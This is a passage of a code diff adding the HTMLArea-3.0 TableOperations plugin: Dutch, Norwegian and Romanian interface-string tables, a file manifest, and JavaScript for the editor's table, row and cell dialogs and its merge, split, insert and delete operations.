+ "Rules will appear between rows only": "Regels verschijnen enkel tussen de rijen",\r\r
+ "Rules": "Regels",\r\r
+ "Spacing and padding": "Celmarge en afstand tussen cellen",\r\r
+ "Spacing": "marge",\r\r
+ "Summary": "Overzicht",\r\r
+ "TO-cell-delete": "Cel verwijderen",\r\r
+ "TO-cell-insert-after": "Voeg cel toe achter",\r\r
+ "TO-cell-insert-before": "Voeg cel toe voor",\r\r
+ "TO-cell-merge": "Cellen samenvoegen",\r\r
+ "TO-cell-prop": "Celeigenschappen",\r\r
+ "TO-cell-split": "Cel splitsen",\r\r
+ "TO-col-delete": "Kolom verwijderen",\r\r
+ "TO-col-insert-after": "Kolom invoegen achter",\r\r
+ "TO-col-insert-before": "Kolom invoegen voor",\r\r
+ "TO-col-split": "Kolom splitsen",\r\r
+ "TO-row-delete": "Rij verwijderen",\r\r
+ "TO-row-insert-above": "Rij invoegen boven",\r\r
+ "TO-row-insert-under": "Rij invoegen onder",\r\r
+ "TO-row-prop": "Rij eigenschappen",\r\r
+ "TO-row-split": "Rij splitsen",\r\r
+ "TO-table-prop": "Tabel eigenschappen",\r\r
+ "Table Properties": "Tabel eigenschappen",\r\r
+ "Text align": "Text uitlijning",\r\r
+ "The bottom side only": "Enkel aan de onderkant",\r\r
+ "The left-hand side only": "Enkel aan de linkerkant",\r\r
+ "The right and left sides only": "Enkel aan de linker en rechterkant",\r\r
+ "The right-hand side only": "Enkel aan de rechterkant",\r\r
+ "The top and bottom sides only": "Enkel aan de bovenen onderkant",\r\r
+ "The top side only": "Enkel aan de bovenkant",\r\r
+ "Top": "Boven",\r\r
+ "Unset color": "Wis kleur",\r\r
+ "Vertical align": "Vertikale uitlijning",\r\r
+ "Width": "Breedte",\r\r
+ "not-del-last-cell": "HTMLArea kan de laatste cel in deze tabel niet verwijderen.",\r\r
+ "not-del-last-col": "HTMLArea kan de laatste kolom in deze tabel niet verwijderen.",\r\r
+ "not-del-last-row": "HTMLArea kan de laatste rij in deze tabel niet verwijderen.",\r\r
+ "percent": "procent",\r\r
+ "pixels": "pixels"\r\r
+};\r\r
--- /dev/null
+// I18N constants\r\r
+\r\r
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1\r\r
+// Author: Mihai Bazon, <mishoo@infoiasi.ro>\r\r
+// translated into Norwegia: ses@online.no 11.11.03\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+// (at least a valid email address)\r\r
+//\r\r
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+// (if this is not possible, please include a comment\r\r
+// that states what encoding is necessary.)\r\r
+\r\r
+TableOperations.I18N = {\r\r
+ "Align": "Juster",\r\r
+ "All four sides": "Alle fire sider",\r\r
+ "Background": "Bakgrund",\r\r
+ "Baseline": "Grunnlinje",\r\r
+ "Border": "Kantlinje",\r\r
+ "Borders": "Kantlinjer",\r\r
+ "Bottom": "Bunn",\r\r
+ "CSS Style": "Stil [CSS]",\r\r
+ "Caption": "Overskrift",\r\r
+ "Cell Properties": "Celleegenskaper",\r\r
+ "Center": "Sentrer",\r\r
+ "Char": "Tegn",\r\r
+ "Collapsed borders": "Fjern kantlinjer",\r\r
+ "Color": "Farge",\r\r
+ "Description": "Beskrivelse",\r\r
+ "FG Color": "FG farge",\r\r
+ "Float": "Flytende",\r\r
+ "Frames": "rammer",\r\r
+ "Height": "Høyde",\r\r
+ "How many columns would you like to merge?": "Hvor mange kolonner vil du slå sammen?",\r\r
+ "How many rows would you like to merge?": "Hvor mange rader vil du slå sammen?",\r\r
+ "Image URL": "Bildets URL",\r\r
+ "Justify": "Juster",\r\r
+ "Layout": "Layout",\r\r
+ "Left": "Venstre",\r\r
+ "Margin": "Marg",\r\r
+ "Middle": "Midten",\r\r
+ "No rules": "Ingen linjal",\r\r
+ "No sides": "Ingen sider",\r\r
+ "None": "Ingen",\r\r
+ "Padding": "Luft",\r\r
+ "Please click into some cell": "Klikk i en eller annen celle",\r\r
+ "Right": "Høyre",\r\r
+ "Row Properties": "Egenskaper for rad",\r\r
+ "Rules will appear between all rows and columns": "Linjer vil synes mellom alle rader og kolonner",\r\r
+ "Rules will appear between columns only": "Linjer vil synes kun mellom kolonner",\r\r
+ "Rules will appear between rows only": "Linjer vil synes kun mellom rader",\r\r
+ "Rules": "Linjer",\r\r
+ "Spacing and padding": "Luft",\r\r
+ "Spacing": "Luft",\r\r
+ "Summary": "Sammendrag",\r\r
+ "TO-cell-delete": "Slett celle",\r\r
+ "TO-cell-insert-after": "Sett inn celle etter",\r\r
+ "TO-cell-insert-before": "Sett inn celle foran",\r\r
+ "TO-cell-merge": "Slå sammen celler",\r\r
+ "TO-cell-prop": "Egenskaper for celle",\r\r
+ "TO-cell-split": "Del celle",\r\r
+ "TO-col-delete": "Slett kolonne",\r\r
+ "TO-col-insert-after": "Skyt inn kolonne etter",\r\r
+ "TO-col-insert-before": "Skyt inn kolonne før",\r\r
+ "TO-col-split": "Del kolonne",\r\r
+ "TO-row-delete": "Slett rad",\r\r
+ "TO-row-insert-above": "Skyt inn rad foran",\r\r
+ "TO-row-insert-under": "Skyt inn rad etter",\r\r
+ "TO-row-prop": "Egenskaper for rad",\r\r
+ "TO-row-split": "Del rad",\r\r
+ "TO-table-prop": "Tabellegenskaper",\r\r
+ "Table Properties": "Tabellegenskaper",\r\r
+ "Text align": "Juster tekst",\r\r
+ "The bottom side only": "Bunnen kun",\r\r
+ "The left-hand side only": "Venstresiden kun",\r\r
+ "The right and left sides only": "Høyre- og venstresiden kun",\r\r
+ "The right-hand side only": "Høyresiden kun",\r\r
+ "The top and bottom sides only": "The top and bottom sides only",\r\r
+ "The top side only": "Overkanten kun",\r\r
+ "Top": "Overkant", \r\r
+ "Unset color": "Ikke-bestemt farge",\r\r
+ "Vertical align": "Vertikal justering",\r\r
+ "Width": "Bredde",\r\r
+ "not-del-last-cell": "HTMLArea nekter å slette siste cellen i tabellen.",\r\r
+ "not-del-last-col": "HTMLArea nekter å slette siste kolonnen i tabellen.",\r\r
+ "not-del-last-row": "HTMLArea nekter å slette siste raden i tabellen.",\r\r
+ "percent": "prosent",\r\r
+ "pixels": "billedpunkter"\r\r
+};\r\r
--- /dev/null
+// I18N constants
+
+// LANG: "ro", ENCODING: UTF-8
+// Author: Mihai Bazon, http://dynarch.com/mishoo
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+TableOperations.I18N = {
+ "Align": "Aliniere",
+ "All four sides": "Toate părţile",
+ "Background": "Fundal",
+ "Baseline": "Baseline",
+ "Border": "Chenar",
+ "Borders": "Chenare",
+ "Bottom": "Jos",
+ "CSS Style": "Stil [CSS]",
+ "Caption": "Titlu de tabel",
+ "Cell Properties": "Proprietăţile celulei",
+ "Center": "Centru",
+ "Char": "Caracter",
+ "Collapsed borders": "Chenare asimilate",
+ "Color": "Culoare",
+ "Description": "Descriere",
+ "FG Color": "Culoare text",
+ "Float": "Poziţie",
+ "Frames": "Chenare",
+ "Height": "Înălţimea",
+ "How many columns would you like to merge?": "Câte coloane vrei să uneşti?",
+ "How many rows would you like to merge?": "Câte linii vrei să uneşti?",
+ "Image URL": "URL-ul imaginii",
+ "Justify": "Justify",
+ "Layout": "Aranjament",
+ "Left": "Stânga",
+ "Margin": "Margine",
+ "Middle": "Mijloc",
+ "No rules": "Fără linii",
+ "No sides": "Fără părţi",
+ "None": "Nimic",
+ "Padding": "Spaţiere",
+ "Please click into some cell": "Vă rog să daţi click într-o celulă",
+ "Right": "Dreapta",
+ "Row Properties": "Proprietăţile liniei",
+ "Rules will appear between all rows and columns": "Vor apărea linii între toate rândurile şi coloanele",
+ "Rules will appear between columns only": "Vor apărea doar linii verticale",
+ "Rules will appear between rows only": "Vor apărea doar linii orizontale",
+ "Rules": "Linii",
+ "Spacing and padding": "Spaţierea",
+ "Spacing": "Între celule",
+ "Summary": "Sumar",
+ "TO-cell-delete": "Şterge celula",
+ "TO-cell-insert-after": "Inserează o celulă la dreapta",
+ "TO-cell-insert-before": "Inserează o celulă la stânga",
+ "TO-cell-merge": "Uneşte celulele",
+ "TO-cell-prop": "Proprietăţile celulei",
+ "TO-cell-split": "Împarte celula",
+ "TO-col-delete": "Şterge coloana",
+ "TO-col-insert-after": "Inserează o coloană la dreapta",
+ "TO-col-insert-before": "Inserează o coloană la stânga",
+ "TO-col-split": "Împarte coloana",
+ "TO-row-delete": "Şterge rândul",
+ "TO-row-insert-above": "Inserează un rând înainte",
+ "TO-row-insert-under": "Inserează un rând după",
+ "TO-row-prop": "Proprietăţile rândului",
+ "TO-row-split": "Împarte rândul",
+ "TO-table-prop": "Proprietăţile tabelei",
+ "Table Properties": "Proprietăţile tabelei",
+ "Text align": "Aliniere",
+ "The bottom side only": "Doar partea de jos",
+ "The left-hand side only": "Doar partea din stânga",
+ "The right and left sides only": "Partea din stânga şi cea din dreapta",
+ "The right-hand side only": "Doar partea din dreapta",
+ "The top and bottom sides only": "Partea de sus si cea de jos",
+ "The top side only": "Doar partea de sus",
+ "Top": "Sus",
+ "Unset color": "Dezactivează culoarea",
+ "Vertical align": "Aliniere pe verticală",
+ "Width": "Lăţime",
+ "not-del-last-cell": "HTMLArea refuză cu laşitate să şteargă ultima celulă din rând.",
+ "not-del-last-col": "HTMLArea refuză cu laşitate să şteargă ultima coloamă din tabela.",
+ "not-del-last-row": "HTMLArea refuză cu laşitate să şteargă ultimul rând din tabela.",
+ "percent": "procente",
+ "pixels": "pixeli"
+};
--- /dev/null
+<files>
+ <file name="*.{js,html,cgi,css}" />
+
+ <dir name="lang" />
+ <dir name="img" />
+</files>
+
--- /dev/null
+// Table Operations Plugin for HTMLArea-3.0
+// Implementation by Mihai Bazon. Sponsored by http://www.bloki.com
+//
+// htmlArea v3.0 - Copyright (c) 2002 interactivetools.com, inc.
+// This notice MUST stay intact for use (see license.txt).
+//
+// A free WYSIWYG editor replacement for <textarea> fields.
+// For full source code and docs, visit http://www.interactivetools.com/
+//
+// Version 3.0 developed by Mihai Bazon for InteractiveTools.
+// http://dynarch.com/mishoo
+//
+// $Id: table-operations.js,v 1.1.1.1 2006/07/13 13:53:51 matrix Exp $
+
+// Object that will encapsulate all the table operations provided by
+// HTMLArea-3.0 (except "insert table" which is included in the main file)
+function TableOperations(editor) {
+ this.editor = editor;
+
+ var cfg = editor.config;
+ var tt = TableOperations.I18N;
+ var bl = TableOperations.btnList;
+ var self = this;
+
+ // register the toolbar buttons provided by this plugin
+ var toolbar = ["linebreak"];
+ for (var i in bl) {
+ var btn = bl[i];
+ if (!btn) {
+ toolbar.push("separator");
+ } else {
+ var id = "TO-" + btn[0];
+ cfg.registerButton(id, tt[id], editor.imgURL(btn[0] + ".gif", "TableOperations"), false,
+ function(editor, id) {
+ // dispatch button press event
+ self.buttonPress(editor, id);
+ }, btn[1]);
+ toolbar.push(id);
+ }
+ }
+
+ // add a new line in the toolbar
+ cfg.toolbar.push(toolbar);
+};
+
+TableOperations._pluginInfo = {
+ name : "TableOperations",
+ version : "1.0",
+ developer : "Mihai Bazon",
+ developer_url : "http://dynarch.com/mishoo/",
+ c_owner : "Mihai Bazon",
+ sponsor : "Zapatec Inc.",
+ sponsor_url : "http://www.bloki.com",
+ license : "htmlArea"
+};
+
+/************************
+ * UTILITIES
+ ************************/
+
+// retrieves the closest element having the specified tagName in the list of
+// ancestors of the current selection/caret.
+TableOperations.prototype.getClosest = function(tagName) {
+ var editor = this.editor;
+ var ancestors = editor.getAllAncestors();
+ var ret = null;
+ tagName = ("" + tagName).toLowerCase();
+ for (var i in ancestors) {
+ var el = ancestors[i];
+ if (el.tagName.toLowerCase() == tagName) {
+ ret = el;
+ break;
+ }
+ }
+ return ret;
+};
+
+// this function requires the file PopupDiv/PopupWin to be loaded from browser
+TableOperations.prototype.dialogTableProperties = function() {
+ var i18n = TableOperations.I18N;
+ // retrieve existing values
+ var table = this.getClosest("table");
+ // this.editor.selectNodeContents(table);
+ // this.editor.updateToolbar();
+
+ var dialog = new PopupWin(this.editor, i18n["Table Properties"], function(dialog, params) {
+ TableOperations.processStyle(params, table);
+ for (var i in params) {
+ var val = params[i];
+ switch (i) {
+ case "f_caption":
+ if (/\S/.test(val)) {
+ // contains non white-space characters
+ var caption = table.getElementsByTagName("caption")[0];
+ if (!caption) {
+ caption = dialog.editor._doc.createElement("caption");
+ table.insertBefore(caption, table.firstChild);
+ }
+ caption.innerHTML = val;
+ } else {
+ // search for caption and delete it if found
+ var caption = table.getElementsByTagName("caption")[0];
+ if (caption) {
+ caption.parentNode.removeChild(caption);
+ }
+ }
+ break;
+ case "f_summary":
+ table.summary = val;
+ break;
+ case "f_width":
+ table.style.width = ("" + val) + params.f_unit;
+ break;
+ case "f_align":
+ table.align = val;
+ break;
+ case "f_spacing":
+ table.cellSpacing = val;
+ break;
+ case "f_padding":
+ table.cellPadding = val;
+ break;
+ case "f_borders":
+ table.border = val;
+ break;
+ case "f_frames":
+ table.frame = val;
+ break;
+ case "f_rules":
+ table.rules = val;
+ break;
+ }
+ }
+ // various workarounds to refresh the table display (Gecko,
+ // what's going on?! do not disappoint me!)
+ dialog.editor.forceRedraw();
+ dialog.editor.focusEditor();
+ dialog.editor.updateToolbar();
+ var save_collapse = table.style.borderCollapse;
+ table.style.borderCollapse = "collapse";
+ table.style.borderCollapse = "separate";
+ table.style.borderCollapse = save_collapse;
+ },
+
+ // this function gets called when the dialog needs to be initialized
+ function (dialog) {
+
+ var f_caption = "";
+ var capel = table.getElementsByTagName("caption")[0];
+ if (capel) {
+ f_caption = capel.innerHTML;
+ }
+ var f_summary = table.summary;
+ var f_width = parseInt(table.style.width);
+ isNaN(f_width) && (f_width = "");
+ var f_unit = /%/.test(table.style.width) ? 'percent' : 'pixels';
+ var f_align = table.align;
+ var f_spacing = table.cellSpacing;
+ var f_padding = table.cellPadding;
+ var f_borders = table.border;
+ var f_frames = table.frame;
+ var f_rules = table.rules;
+
+ function selected(val) {
+ return val ? " selected" : "";
+ };
+
+ // dialog contents
+ dialog.content.style.width = "430px";
+ dialog.content.style.height = "580px";
+ dialog.content.innerHTML = " \
+<div class='title'\
+ style='background: url(" + dialog.editor.imgURL("table-prop.gif", "TableOperations") + ") #fff 98% 50% no-repeat'>" + i18n["Table Properties"] + "\
+</div> \
+<table style='width:100%'> \
+ <tr> \
+ <td> \
+ <fieldset><legend>" + i18n["Description"] + "</legend> \
+ <table style='width:100%'> \
+ <tr> \
+ <td class='label'>" + i18n["Caption"] + ":</td> \
+ <td class='value'><input type='text' name='f_caption' value='" + f_caption + "'/></td> \
+ </tr><tr> \
+ <td class='label'>" + i18n["Summary"] + ":</td> \
+ <td class='value'><input type='text' name='f_summary' value='" + f_summary + "'/></td> \
+ </tr> \
+ </table> \
+ </fieldset> \
+ </td> \
+ </tr> \
+ <tr><td id='--HA-layout'></td></tr> \
+ <tr> \
+ <td> \
+ <fieldset><legend>" + i18n["Spacing and padding"] + "</legend> \
+ <table style='width:100%'> \
+"+// <tr> \
+// <td class='label'>" + i18n["Width"] + ":</td> \
+// <td><input type='text' name='f_width' value='" + f_width + "' size='5' /> \
+// <select name='f_unit'> \
+// <option value='%'" + selected(f_unit == "percent") + ">" + i18n["percent"] + "</option> \
+// <option value='px'" + selected(f_unit == "pixels") + ">" + i18n["pixels"] + "</option> \
+// </select> " + i18n["Align"] + ": \
+// <select name='f_align'> \
+// <option value='left'" + selected(f_align == "left") + ">" + i18n["Left"] + "</option> \
+// <option value='center'" + selected(f_align == "center") + ">" + i18n["Center"] + "</option> \
+// <option value='right'" + selected(f_align == "right") + ">" + i18n["Right"] + "</option> \
+// </select> \
+// </td> \
+// </tr> \
+" <tr> \
+ <td class='label'>" + i18n["Spacing"] + ":</td> \
+ <td><input type='text' name='f_spacing' size='5' value='" + f_spacing + "' /> " + i18n["Padding"] + ":\
+ <input type='text' name='f_padding' size='5' value='" + f_padding + "' /> " + i18n["pixels"] + "\
+ </td> \
+ </tr> \
+ </table> \
+ </fieldset> \
+ </td> \
+ </tr> \
+ <tr> \
+ <td> \
+ <fieldset><legend>Frame and borders</legend> \
+ <table width='100%'> \
+ <tr> \
+ <td class='label'>" + i18n["Borders"] + ":</td> \
+ <td><input name='f_borders' type='text' size='5' value='" + f_borders + "' /> " + i18n["pixels"] + "</td> \
+ </tr> \
+ <tr> \
+ <td class='label'>" + i18n["Frames"] + ":</td> \
+ <td> \
+ <select name='f_frames'> \
+ <option value='void'" + selected(f_frames == "void") + ">" + i18n["No sides"] + "</option> \
+ <option value='above'" + selected(f_frames == "above") + ">" + i18n["The top side only"] + "</option> \
+ <option value='below'" + selected(f_frames == "below") + ">" + i18n["The bottom side only"] + "</option> \
+ <option value='hsides'" + selected(f_frames == "hsides") + ">" + i18n["The top and bottom sides only"] + "</option> \
+ <option value='vsides'" + selected(f_frames == "vsides") + ">" + i18n["The right and left sides only"] + "</option> \
+ <option value='lhs'" + selected(f_frames == "lhs") + ">" + i18n["The left-hand side only"] + "</option> \
+ <option value='rhs'" + selected(f_frames == "rhs") + ">" + i18n["The right-hand side only"] + "</option> \
+ <option value='box'" + selected(f_frames == "box") + ">" + i18n["All four sides"] + "</option> \
+ </select> \
+ </td> \
+ </tr> \
+ <tr> \
+ <td class='label'>" + i18n["Rules"] + ":</td> \
+ <td> \
+ <select name='f_rules'> \
+ <option value='none'" + selected(f_rules == "none") + ">" + i18n["No rules"] + "</option> \
+ <option value='rows'" + selected(f_rules == "rows") + ">" + i18n["Rules will appear between rows only"] + "</option> \
+ <option value='cols'" + selected(f_rules == "cols") + ">" + i18n["Rules will appear between columns only"] + "</option> \
+ <option value='all'" + selected(f_rules == "all") + ">" + i18n["Rules will appear between all rows and columns"] + "</option> \
+ </select> \
+ </td> \
+ </tr> \
+ </table> \
+ </fieldset> \
+ </td> \
+ </tr> \
+ <tr> \
+ <td id='--HA-style'></td> \
+ </tr> \
+</table> \
+";
+ var st_prop = TableOperations.createStyleFieldset(dialog.doc, dialog.editor, table);
+ var p = dialog.doc.getElementById("--HA-style");
+ p.appendChild(st_prop);
+ var st_layout = TableOperations.createStyleLayoutFieldset(dialog.doc, dialog.editor, table);
+ p = dialog.doc.getElementById("--HA-layout");
+ p.appendChild(st_layout);
+ dialog.modal = true;
+ dialog.addButtons("ok", "cancel");
+ dialog.showAtElement(dialog.editor._iframe, "c");
+ });
+};
+
+// this function requires the file PopupDiv/PopupWin to be loaded from browser
+TableOperations.prototype.dialogRowCellProperties = function(cell) {
+ var i18n = TableOperations.I18N;
+ // retrieve existing values
+ var element = this.getClosest(cell ? "td" : "tr");
+ var table = this.getClosest("table");
+ // this.editor.selectNodeContents(element);
+ // this.editor.updateToolbar();
+
+ var dialog = new PopupWin(this.editor, i18n[cell ? "Cell Properties" : "Row Properties"], function(dialog, params) {
+ TableOperations.processStyle(params, element);
+ for (var i in params) {
+ var val = params[i];
+ switch (i) {
+ case "f_align":
+ element.align = val;
+ break;
+ case "f_char":
+ element.ch = val;
+ break;
+ case "f_valign":
+ element.vAlign = val;
+ break;
+ }
+ }
+ // various workarounds to refresh the table display (Gecko,
+ // what's going on?! do not disappoint me!)
+ dialog.editor.forceRedraw();
+ dialog.editor.focusEditor();
+ dialog.editor.updateToolbar();
+ var save_collapse = table.style.borderCollapse;
+ table.style.borderCollapse = "collapse";
+ table.style.borderCollapse = "separate";
+ table.style.borderCollapse = save_collapse;
+ },
+
+ // this function gets called when the dialog needs to be initialized
+ function (dialog) {
+
+ var f_align = element.align;
+ var f_valign = element.vAlign;
+ var f_char = element.ch;
+
+ function selected(val) {
+ return val ? " selected" : "";
+ };
+
+ // dialog contents
+ dialog.content.style.width = "400px";
+ dialog.content.style.height = "320px";
+ dialog.content.innerHTML = " \
+<div class='title'\
+ style='background: url(" + dialog.baseURL + dialog.editor.imgURL(cell ? "cell-prop.gif" : "row-prop.gif", "TableOperations") + ") #fff 98% 50% no-repeat'>" + i18n[cell ? "Cell Properties" : "Row Properties"] + "</div> \
+<table style='width:100%'> \
+ <tr> \
+ <td id='--HA-layout'> \
+"+// <fieldset><legend>" + i18n["Layout"] + "</legend> \
+// <table style='width:100%'> \
+// <tr> \
+// <td class='label'>" + i18n["Align"] + ":</td> \
+// <td> \
+// <select name='f_align'> \
+// <option value='left'" + selected(f_align == "left") + ">" + i18n["Left"] + "</option> \
+// <option value='center'" + selected(f_align == "center") + ">" + i18n["Center"] + "</option> \
+// <option value='right'" + selected(f_align == "right") + ">" + i18n["Right"] + "</option> \
+// <option value='char'" + selected(f_align == "char") + ">" + i18n["Char"] + "</option> \
+// </select> \
+// " + i18n["Char"] + ": \
+// <input type='text' style='font-family: monospace; text-align: center' name='f_char' size='1' value='" + f_char + "' /> \
+// </td> \
+// </tr><tr> \
+// <td class='label'>" + i18n["Vertical align"] + ":</td> \
+// <td> \
+// <select name='f_valign'> \
+// <option value='top'" + selected(f_valign == "top") + ">" + i18n["Top"] + "</option> \
+// <option value='middle'" + selected(f_valign == "middle") + ">" + i18n["Middle"] + "</option> \
+// <option value='bottom'" + selected(f_valign == "bottom") + ">" + i18n["Bottom"] + "</option> \
+// <option value='baseline'" + selected(f_valign == "baseline") + ">" + i18n["Baseline"] + "</option> \
+// </select> \
+// </td> \
+// </tr> \
+// </table> \
+// </fieldset> \
+" </td> \
+ </tr> \
+ <tr> \
+ <td id='--HA-style'></td> \
+ </tr> \
+</table> \
+";
+ var st_prop = TableOperations.createStyleFieldset(dialog.doc, dialog.editor, element);
+ var p = dialog.doc.getElementById("--HA-style");
+ p.appendChild(st_prop);
+ var st_layout = TableOperations.createStyleLayoutFieldset(dialog.doc, dialog.editor, element);
+ p = dialog.doc.getElementById("--HA-layout");
+ p.appendChild(st_layout);
+ dialog.modal = true;
+ dialog.addButtons("ok", "cancel");
+ dialog.showAtElement(dialog.editor._iframe, "c");
+ });
+};
+
+// this function gets called when some button from the TableOperations toolbar
+// was pressed.
+TableOperations.prototype.buttonPress = function(editor, button_id) {
+ this.editor = editor;
+ var mozbr = HTMLArea.is_gecko ? "<br />" : "";
+ var i18n = TableOperations.I18N;
+
+ // helper function that clears the content in a table row
+ function clearRow(tr) {
+ var tds = tr.getElementsByTagName("td");
+ for (var i = tds.length; --i >= 0;) {
+ var td = tds[i];
+ td.rowSpan = 1;
+ td.innerHTML = mozbr;
+ }
+ };
+
+ function splitRow(td) {
+ var n = parseInt("" + td.rowSpan);
+ var nc = parseInt("" + td.colSpan);
+ td.rowSpan = 1;
+ tr = td.parentNode;
+ var itr = tr.rowIndex;
+ var trs = tr.parentNode.rows;
+ var index = td.cellIndex;
+ while (--n > 0) {
+ tr = trs[++itr];
+ var otd = editor._doc.createElement("td");
+ otd.colSpan = td.colSpan;
+ otd.innerHTML = mozbr;
+ tr.insertBefore(otd, tr.cells[index]);
+ }
+ editor.forceRedraw();
+ editor.updateToolbar();
+ };
+
+ function splitCol(td) {
+ var nc = parseInt("" + td.colSpan);
+ td.colSpan = 1;
+ tr = td.parentNode;
+ var ref = td.nextSibling;
+ while (--nc > 0) {
+ var otd = editor._doc.createElement("td");
+ otd.rowSpan = td.rowSpan;
+ otd.innerHTML = mozbr;
+ tr.insertBefore(otd, ref);
+ }
+ editor.forceRedraw();
+ editor.updateToolbar();
+ };
+
+ function splitCell(td) {
+ var nc = parseInt("" + td.colSpan);
+ splitCol(td);
+ var items = td.parentNode.cells;
+ var index = td.cellIndex;
+ while (nc-- > 0) {
+ splitRow(items[index++]);
+ }
+ };
+
+ function selectNextNode(el) {
+ var node = el.nextSibling;
+ while (node && node.nodeType != 1) {
+ node = node.nextSibling;
+ }
+ if (!node) {
+ node = el.previousSibling;
+ while (node && node.nodeType != 1) {
+ node = node.previousSibling;
+ }
+ }
+ if (!node) {
+ node = el.parentNode;
+ }
+ editor.selectNodeContents(node);
+ };
+
+ switch (button_id) {
+ // ROWS
+
+ case "TO-row-insert-above":
+ case "TO-row-insert-under":
+ var tr = this.getClosest("tr");
+ if (!tr) {
+ break;
+ }
+ var otr = tr.cloneNode(true);
+ clearRow(otr);
+ tr.parentNode.insertBefore(otr, /under/.test(button_id) ? tr.nextSibling : tr);
+ editor.forceRedraw();
+ editor.focusEditor();
+ break;
+ case "TO-row-delete":
+ var tr = this.getClosest("tr");
+ if (!tr) {
+ break;
+ }
+ var par = tr.parentNode;
+ if (par.rows.length == 1) {
+ alert(i18n["not-del-last-row"]);
+ break;
+ }
+ // set the caret first to a position that doesn't
+ // disappear.
+ selectNextNode(tr);
+ par.removeChild(tr);
+ editor.forceRedraw();
+ editor.focusEditor();
+ editor.updateToolbar();
+ break;
+ case "TO-row-split":
+ var td = this.getClosest("td");
+ if (!td) {
+ break;
+ }
+ splitRow(td);
+ break;
+
+ // COLUMNS
+
+ case "TO-col-insert-before":
+ case "TO-col-insert-after":
+ var td = this.getClosest("td");
+ if (!td) {
+ break;
+ }
+ var rows = td.parentNode.parentNode.rows;
+ var index = td.cellIndex;
+ for (var i = rows.length; --i >= 0;) {
+ var tr = rows[i];
+ var ref = tr.cells[index + (/after/.test(button_id) ? 1 : 0)];
+ var otd = editor._doc.createElement("td");
+ otd.innerHTML = mozbr;
+ tr.insertBefore(otd, ref);
+ }
+ editor.focusEditor();
+ break;
+ case "TO-col-split":
+ var td = this.getClosest("td");
+ if (!td) {
+ break;
+ }
+ splitCol(td);
+ break;
+ case "TO-col-delete":
+ var td = this.getClosest("td");
+ if (!td) {
+ break;
+ }
+ var index = td.cellIndex;
+ if (td.parentNode.cells.length == 1) {
+ alert(i18n["not-del-last-col"]);
+ break;
+ }
+ // set the caret first to a position that doesn't disappear
+ selectNextNode(td);
+ var rows = td.parentNode.parentNode.rows;
+ for (var i = rows.length; --i >= 0;) {
+ var tr = rows[i];
+ tr.removeChild(tr.cells[index]);
+ }
+ editor.forceRedraw();
+ editor.focusEditor();
+ editor.updateToolbar();
+ break;
+
+ // CELLS
+
+ case "TO-cell-split":
+ var td = this.getClosest("td");
+ if (!td) {
+ break;
+ }
+ splitCell(td);
+ break;
+ case "TO-cell-insert-before":
+ case "TO-cell-insert-after":
+ var td = this.getClosest("td");
+ if (!td) {
+ break;
+ }
+ var tr = td.parentNode;
+ var otd = editor._doc.createElement("td");
+ otd.innerHTML = mozbr;
+ tr.insertBefore(otd, /after/.test(button_id) ? td.nextSibling : td);
+ editor.forceRedraw();
+ editor.focusEditor();
+ break;
+ case "TO-cell-delete":
+ var td = this.getClosest("td");
+ if (!td) {
+ break;
+ }
+ if (td.parentNode.cells.length == 1) {
+ alert(i18n["not-del-last-cell"]);
+ break;
+ }
+ // set the caret first to a position that doesn't disappear
+ selectNextNode(td);
+ td.parentNode.removeChild(td);
+ editor.forceRedraw();
+ editor.updateToolbar();
+ break;
+ case "TO-cell-merge":
+ // !! FIXME: Mozilla specific !!
+ var sel = editor._getSelection();
+ var range, i = 0;
+ var rows = [];
+ var row = null;
+ var cells = null;
+ if (!HTMLArea.is_ie) {
+ try {
+ while (range = sel.getRangeAt(i++)) {
+ var td = range.startContainer.childNodes[range.startOffset];
+ if (td.parentNode != row) {
+ row = td.parentNode;
+ (cells) && rows.push(cells);
+ cells = [];
+ }
+ cells.push(td);
+ }
+ } catch(e) {/* finished walking through selection */}
+ rows.push(cells);
+ } else {
+ // Internet Explorer "browser"
+ var td = this.getClosest("td");
+ if (!td) {
+ alert(i18n["Please click into some cell"]);
+ break;
+ }
+ var tr = td.parentElement;
+ var no_cols = prompt(i18n["How many columns would you like to merge?"], 2);
+ if (!no_cols) {
+ // cancelled
+ break;
+ }
+ var no_rows = prompt(i18n["How many rows would you like to merge?"], 2);
+ if (!no_rows) {
+ // cancelled
+ break;
+ }
+ var cell_index = td.cellIndex;
+ while (no_rows-- > 0) {
+ td = tr.cells[cell_index];
+ cells = [td];
+ for (var i = 1; i < no_cols; ++i) {
+ td = td.nextSibling;
+ if (!td) {
+ break;
+ }
+ cells.push(td);
+ }
+ rows.push(cells);
+ tr = tr.nextSibling;
+ if (!tr) {
+ break;
+ }
+ }
+ }
+ var HTML = "";
+ for (i = 0; i < rows.length; ++i) {
+ // i && (HTML += "<br />");
+ var cells = rows[i];
+ for (var j = 0; j < cells.length; ++j) {
+ // j && (HTML += " ");
+ var cell = cells[j];
+ HTML += cell.innerHTML;
+ (i || j) && (cell.parentNode.removeChild(cell));
+ }
+ }
+ var td = rows[0][0];
+ td.innerHTML = HTML;
+ td.rowSpan = rows.length;
+ td.colSpan = rows[0].length;
+ editor.selectNodeContents(td);
+ editor.forceRedraw();
+ editor.focusEditor();
+ break;
+
+ // PROPERTIES
+
+ case "TO-table-prop":
+ this.dialogTableProperties();
+ break;
+
+ case "TO-row-prop":
+ this.dialogRowCellProperties(false);
+ break;
+
+ case "TO-cell-prop":
+ this.dialogRowCellProperties(true);
+ break;
+
+ default:
+ alert("Button [" + button_id + "] not yet implemented");
+ }
+};
+
+// the list of buttons added by this plugin
+TableOperations.btnList = [
+ // table properties button
+ ["table-prop", "table"],
+ null, // separator
+
+ // ROWS
+ ["row-prop", "tr"],
+ ["row-insert-above", "tr"],
+ ["row-insert-under", "tr"],
+ ["row-delete", "tr"],
+ ["row-split", "td[rowSpan!=1]"],
+ null,
+
+ // COLS
+ ["col-insert-before", "td"],
+ ["col-insert-after", "td"],
+ ["col-delete", "td"],
+ ["col-split", "td[colSpan!=1]"],
+ null,
+
+ // CELLS
+ ["cell-prop", "td"],
+ ["cell-insert-before", "td"],
+ ["cell-insert-after", "td"],
